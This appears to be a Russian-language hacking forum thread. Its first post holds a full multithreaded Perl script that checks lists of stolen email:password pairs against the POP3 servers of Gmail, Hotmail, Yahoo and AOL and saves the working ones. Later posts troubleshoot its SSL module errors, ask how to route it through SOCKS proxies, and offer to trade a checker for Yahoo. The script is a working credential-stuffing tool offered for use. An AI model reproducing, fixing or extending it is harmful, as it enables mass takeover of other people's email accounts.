Взят он с паблика, я не программер - но понимаю кое что- мне нужен чекер мыл - помогите с этим разобраться будет он чекать и как его поставить на хостинге, всем спасибо - если не тяжело можно в аське - 617-350-040, либо кто умеет - нужен чекер - хотмаил, яху, аол и gmail- все в пм use warnings; use strict; use threads; use threads::shared; use IO::Socket; use IO::Socket::SSL; use Fcntl ':flock'; ### Настройки my $accounts_file = 'ac.txt'; # Файл с аккаунтами my $accounts_delimiter = ':'; # Разделитель логина и пароля my $good_file = 'good.txt'; my $bad_file = 'bad.txt'; my $log_bad = 1; my $timeout = 60; my $threads_count = 10; # Количество потоков ### --------- my %servers = ( 'gmail.com' => { 'port' => 995, 'ssl' => 1, 'login_email' => 1 }, 'hotmail.com' => { 'host' => 'pop3.live.com', 'port' => 995, 'ssl' => 1, 'login_email' => 1 }, 'yahoo.com' => { 'host' => 'plus.pop.mail.yahoo.com', 'port' => 995, 'ssl' => 1 }, 'aol.com' => { 'port' => 995, 'ssl' => 1, 'login_email' => 1 } ); my %statictis : shared = ('good' => 0, 'bad' => 0, 'error' => 0); my @threads = (); $| = 1; my @accounts : shared; (open FH, '<', $accounts_file) || die "[Error] Can't open $accounts_file: $!"; push @accounts, $_ while <FH>; close FH; open FH, '>', $good_file; close FH; if ($log_bad) { open FH, '>', $bad_file; close FH; } sub thread_print { my ($str) = "@_ [thread ".threads->tid()."]"; $str .= " " x (78 - length $str) if length $str < 79; print $str."\n"; $str = ''; $str .= "[ $_ - $statictis{$_} ]" for keys %statictis; print $str.'[threads: '.(scalar threads->list() + 1)."]\r"; } sub check_account { while (1) { last if !@accounts; my $account = lc shift @accounts; chomp $account; if ($account =~ /([^@]+)@([^$accounts_delimiter]+)$accounts_delimiter(.+)/) { my ($login, $host, $password) = ($1, $2, $3); my $r_login = $login; my $sock; if ($servers{$host}) { $r_login = "$login\@$host" if ${$servers{$host}}{'login_email'}; if (${$servers{$host}}{'ssl'}) { eval { $sock = IO::Socket::SSL->new(PeerAddr => ((${$servers{$host}}{'host'}) ? ${$servers{$host}}{'host'} : "pop.$host"), Proto => 'tcp', PeerPort => ((${$servers{$host}}{'port'}) ? ${$servers{$host}}{'port'} : 110), Timeout => $timeout); }; } else { eval { $sock = IO::Socket::INET->new(PeerAddr => ((${$servers{$host}}{'host'}) ? ${$servers{$host}}{'host'} : "pop.$host"), Proto => 'tcp', PeerPort => ((${$servers{$host}}{'port'}) ? ${$servers{$host}}{'port'} : 110), Timeout => $timeout); }; } } else { eval{ $sock = IO::Socket::INET->new(PeerAddr => "pop.$host", Proto => 'tcp', PeerPort => 110, Timeout => $timeout); }; } if ($sock) { $sock->autoflush(1); my $answ; $answ = <$sock>; my $bad = 1; if ($answ && substr($answ, 0, 1) eq '+') { print $sock "USER $r_login\n"; $answ = <$sock>; if ($answ && substr($answ, 0, 1) eq '+') { print $sock "PASS $password\n"; $answ = <$sock>; if ($answ && substr($answ, 0, 1) eq '+') { print $sock "QUIT\n"; close $sock; $bad = 0; thread_print "[+] $login\@$host$accounts_delimiter$password"; { lock %statictis; $statictis{'good'}++; } open FH, '>>', $good_file; flock FH, LOCK_EX; print FH "$login\@$host$accounts_delimiter$password\n"; flock FH, LOCK_UN; close FH; } elsif ($answ && $answ =~ /SYS\/PERM/) { $bad = 0; { lock %statictis; $statictis{'error'}++; } thread_print "[~] $login\@$host$accounts_delimiter$password"; } } } if ($bad) { thread_print "[-] $login\@$host$accounts_delimiter$password"; { lock %statictis; $statictis{'bad'}++; } if ($log_bad) { open FH, '>>', $bad_file; flock FH, LOCK_EX; print FH "$login\@$host$accounts_delimiter$password\n"; flock FH, LOCK_UN; close FH; } } } else { { lock %statictis; $statictis{'error'}++; } thread_print "[E] $login\@$host$accounts_delimiter$password #$?: $!"; } } } threads->exit->detach; } $threads_count = $#accounts if $#accounts < $threads_count; $threads[$_] = threads->create(\&check_account) for 0..$threads_count - 1; $_->join for @threads; my $str; $str .= "[ $_ - $statictis{$_} ]" for keys %statictis;
это консольный скрипт его ни на хостинг не надо ставить. запускается он с компа. предварительно установив activeperl
все - запустить запустил - и ошибка( вот такое пишет мож кто подскажет Cant locate IO/Socket/SSL.pm in @INC <@INC contains: C:/Perl/site/lib C:/Perl/lib.> at C:\Perl\bin\Sploit.pl line 16 BEGIN failed-- compilation aborted at C:\Perl\bin\Sploit.pl line 16 я так понимаю он не может найти файл SSL.pm и в 16 линии какая-то ошибка- люди добрые памагите- глаза ща выпадут-)
посмотри в самом начале скрипта должны быть написаны используемые модули. то что после "use" и проверь установлены ли у тебя все эти модули
теперь такое выдает Да всем спасибо за помощь - все с модулями разобрался -и ssl.pm и с ssleay тоже все поставил, только теперь ругаеться на что то другое - хз что это - гуглом пользоваться умею - но это найти немогу- Cant locate auto/net/SSLeay/autosplit.ix in GINC и еще кучу ошибок - я так понимаю это уже не в модулях трабл а в самом скрипте - хз- мож кто поможет, спс спойлер
ЗАПУСТИЛ! cheers! Всем спасибо за помощь - запустил, особое спасибо LStr1ke - за подсказку с линухой - все заработало вот скрин(там полоса какая-то - скрин делал с виртуалки под линухой - хз скрин - помогите чтоб чекал - нужно добавит соксы - скорее всего, спс
яху можно через поп3 не чекать- он у них платный, а хотмаил вполне возможно - у меня его чекает - у кого есть чекер яху - с другим принципом - стучите- обмен